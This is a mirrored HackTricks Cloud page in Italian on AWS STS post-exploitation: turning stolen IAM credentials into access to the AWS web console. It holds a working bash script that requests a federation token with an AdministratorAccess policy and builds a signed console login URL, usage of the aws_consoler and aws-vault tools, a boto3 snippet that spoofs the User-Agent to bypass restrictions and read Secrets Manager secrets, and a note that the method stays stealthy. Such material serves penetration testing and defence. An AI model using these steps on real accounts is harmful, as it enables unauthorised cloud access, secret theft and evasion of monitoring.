mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-14 22:03:11 -08:00
106 lines
4.6 KiB
Markdown
106 lines
4.6 KiB
Markdown
# AWS - STS Post Exploitation
|
|
|
|
{{#include ../../../../banners/hacktricks-training.md}}
|
|
|
|
## STS
|
|
|
|
Per maggiori informazioni:
|
|
|
|
{{#ref}}
|
|
../../aws-services/aws-iam-enum.md
|
|
{{#endref}}
|
|
|
|
### Da IAM Creds alla Console
|
|
|
|
Se sei riuscito a ottenere alcune credenziali IAM potresti essere interessato ad **accedere alla web console** usando i seguenti strumenti.\
|
|
Nota che l'utente/ruolo deve avere il permesso **`sts:GetFederationToken`**.
|
|
|
|
#### Script personalizzato
|
|
|
|
Lo script seguente userà il profilo di default e una location AWS di default (non gov e non cn) per darti un URL firmato che puoi usare per accedere alla web console:
|
|
```bash
|
|
# Get federated creds (you must indicate a policy or they won't have any perms)
|
|
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
|
|
## Don't forget to use [--profile <prof_name>] in the first line if you need to
|
|
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)
|
|
|
|
if [ $? -ne 0 ]; then
|
|
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
|
|
exit $status
|
|
fi
|
|
|
|
# Parse the output
|
|
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
|
|
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
|
|
session_token=$(echo $output | jq -r '.Credentials.SessionToken')
|
|
|
|
# Construct the JSON credentials string
|
|
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")
|
|
|
|
# Define the AWS federation endpoint
|
|
federation_endpoint="https://signin.aws.amazon.com/federation"
|
|
|
|
# Make the HTTP request to get the sign-in token
|
|
resp=$(curl -s "$federation_endpoint" \
|
|
--get \
|
|
--data-urlencode "Action=getSigninToken" \
|
|
--data-urlencode "SessionDuration=43200" \
|
|
--data-urlencode "Session=$json_creds"
|
|
)
|
|
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
|
|
|
|
|
|
# Give the URL to login
|
|
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
|
|
```
|
|
#### aws_consoler
|
|
|
|
Puoi **generare un link alla web console** con [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
|
|
```bash
|
|
cd /tmp
|
|
python3 -m venv env
|
|
source ./env/bin/activate
|
|
pip install aws-consoler
|
|
aws_consoler [params...] #This will generate a link to login into the console
|
|
```
|
|
> [!WARNING]
|
|
> Assicurarsi che l'utente IAM abbia il permesso `sts:GetFederationToken`, oppure fornire un ruolo da assumere.
|
|
|
|
#### aws-vault
|
|
|
|
[**aws-vault**](https://github.com/99designs/aws-vault) è uno strumento per memorizzare e accedere in modo sicuro alle credentials AWS in un ambiente di sviluppo.
|
|
```bash
|
|
aws-vault list
|
|
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
|
|
aws-vault login jonsmith # Open a browser logged as jonsmith
|
|
```
|
|
> [!NOTE]
|
|
> Puoi anche usare **aws-vault** per ottenere una **sessione della console del browser**
|
|
|
|
### **Bypass delle restrizioni User-Agent da Python**
|
|
|
|
Se esiste una **restrizione che limita l'esecuzione di certe azioni in base al User-Agent** utilizzato (come limitare l'uso della libreria python boto3 in base al User-Agent) è possibile usare la tecnica precedente per **connettersi alla web console tramite un browser**, oppure si può direttamente **modificare il boto3 User-Agent** facendo:
|
|
```bash
|
|
# Shared by ex16x41
|
|
# Create a client
|
|
session = boto3.Session(profile_name="lab6")
|
|
client = session.client("secretsmanager", region_name="us-east-1")
|
|
|
|
# Change user agent of the client
|
|
client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda params, **kwargs: params['headers'].update({'User-Agent': 'my-custom-tool'}) )
|
|
|
|
# Perform the action
|
|
response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])
|
|
```
|
|
### **`sts:GetFederationToken`**
|
|
|
|
Con questo permesso è possibile creare un'identità federata per l'utente che lo richiede, limitata ai permessi che tale utente possiede.
|
|
```bash
|
|
aws sts get-federation-token --name <username>
|
|
```
|
|
Il token restituito da sts:GetFederationToken appartiene all'identità federata dell'utente chiamante, ma con permessi limitati. Anche se l'utente dispone di diritti di amministratore, alcune azioni, come elencare gli utenti IAM o associare policy, non possono essere eseguite tramite il token federato.
|
|
|
|
Inoltre, questo metodo è più furtivo, poiché l'utente federato non appare nell'AWS Portal: può essere osservato solo tramite i log di CloudTrail o strumenti di monitoraggio.
|
|
|
|
{{#include ../../../../banners/hacktricks-training.md}}
|